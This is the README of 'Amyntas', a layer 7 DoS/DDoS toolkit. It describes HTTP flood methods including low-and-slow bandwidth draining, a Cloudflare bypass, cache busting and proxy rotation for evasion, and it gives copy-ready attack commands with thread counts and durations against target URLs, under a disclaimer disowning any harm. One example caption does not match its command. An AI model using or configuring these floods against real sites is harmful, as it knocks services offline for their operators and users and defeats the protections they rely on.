NOTE!

Results may vary A LOT when attacking!
It might peak at 40k rq/s and drop down to 2k rq/s or peak at 169 requests per second, just so you know!

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About

Amyntas is a layer 7 DoS/DDoS toolkit, with a variety of attack methods and the capability to bypass caching systems.
Use at your own risk! I, the author, am not responsible for any harm you do! Keep that in mind!

Aviable methods

• GET (simple GET flood)
• HEAD (simple HEAD flood)
• POST (simple POST flood)
• FAST (a GET / flood)
• GHP/GETHEADPOST (a flood which randomly chooses GET, HEAD or POST as request method)
• LEECH (a low & slow HTTP GET flood which can drain A LOT of bandwith)
• MIX (a method which randomly chooses HTTP request methods)
• BYPASS (bypasses cloudflare)
• PROXY (attack which uses a proxy file to attack)

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Features

1. Proxy scraper
2. Cache bypassing mechanisms
3. Random headers (user agents, referers)
4. Real time "worker" system
5. Supports custom user-agent and referer
6. Proxy support (Rotating proxy support coming soon!)

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Known bugs/problems

1. None ATM :3

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To Do list

1. More methods
2. More documentation
3. Better exception handling
4. Maybe colors? lol

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Usage

All options:

-h, --help                             Show this help message and exit
-t TARGET, --target TARGET             Target URL (Example: https://google.com or http://pornhub.com)
-p PORT, --port PORT                   Target port (Leave empty to let the tool decide)
-d DURATION, --duration DURATION       Attack duration
--proxy-file FILE_PATH                 Path to proxies
--proxy PROXY                          Use a proxy when attacking (Example: 127.0.0.1:1337)
--proxy-type PROXY_TYPE                Set the proxy type (HTTP, SOCKS4 or SOCKS5)
--proxy-user PROXY_USER                Proxy username
--proxy-pass PROXY_PASS                Proxy password
--proxy-resolve                        Resolve host using proxy (needed for hidden service targets)
-rt, --rotate-proxies                  Wether we should rotate proxies (use with `--proxy-file`)
-ua USERAGENT, --user-agent USERAGENT  User agent to use when attacking, else its randomly chosen
-ref REFERER, --referer REFERER        Referer to use when attacking, else its randomly chosen
-w WORKERS, --workers WORKERS          Amount of workers/threads to use when attacking
-dbg, --debug                          Print info useful for debugging
-bc, --bypass-cache                    Try to bypass any caching systems to ensure we hit the main site
-m METHOD, --method METHOD             Method to use when attacking (default: GET)
-dfw, --detect-firewall                Detect if the target site is protected by a firewall
--http-version HTTP_VERSION            Set the HTTP protocol version (default: 1.1)
--scrape-proxies                       Wether to scrape a list of proxies first (set the type using `--proxy-type`)

Basic usage:

python3 amyntas.py -t https://target.com

GET flood, attacking with 100 threads for 1337 seconds:

python3 amyntas.py -t https://target.com -w 700 -d 1337

POST flood, attacking with 700 threads for 40 seconds:

python3 amyntas.py -t https://target.com -w 700 -m POST -d 40

Proxified GET flood using a file with SOCKS5 proxies, with 1337 threads for 40 seconds

python3 amyntas.py --proxy-file socks5.txt --proxy-type SOCKS5 -t https://target.com -w 1337 -d 40 -m PROXY

Raw GET flood, using HTTP protocol version 430 with 999 threads for 999 seconds

python3 amyntas.py --http-version 430 -m GET -w 999 -d 999 -t https://target.com:420

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Requirements

requests
argparse
colorama
netaddr
cloudscraper
selenium
undetected_chromedriver
ssl

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Images

3.8k GET flood using 2300 threads